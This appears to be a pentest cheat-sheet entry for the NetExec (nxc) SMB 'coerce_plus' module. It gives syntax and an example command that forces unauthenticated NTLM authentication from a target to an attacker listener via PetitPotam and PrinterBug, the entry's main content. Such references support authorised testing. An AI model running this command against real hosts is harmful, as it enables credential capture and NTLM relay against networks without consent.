NetExec SMB Coerce Plus

Trigger NTLM authentication coercion using multiple methods (PetitPotam, PrinterBug, etc.) without credentials

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: no credentials
Protocols: SMB

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Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '' -p '' -M coerce_plus -o LISTENER=<listener_ip>

Examples

nxc smb '192.168.1.100' -u '' -p '' -M coerce_plus -o LISTENER=192.168.1.50

Tags

nxc smb coerce ntlm-relay petitpotam printerbug unauthenticated

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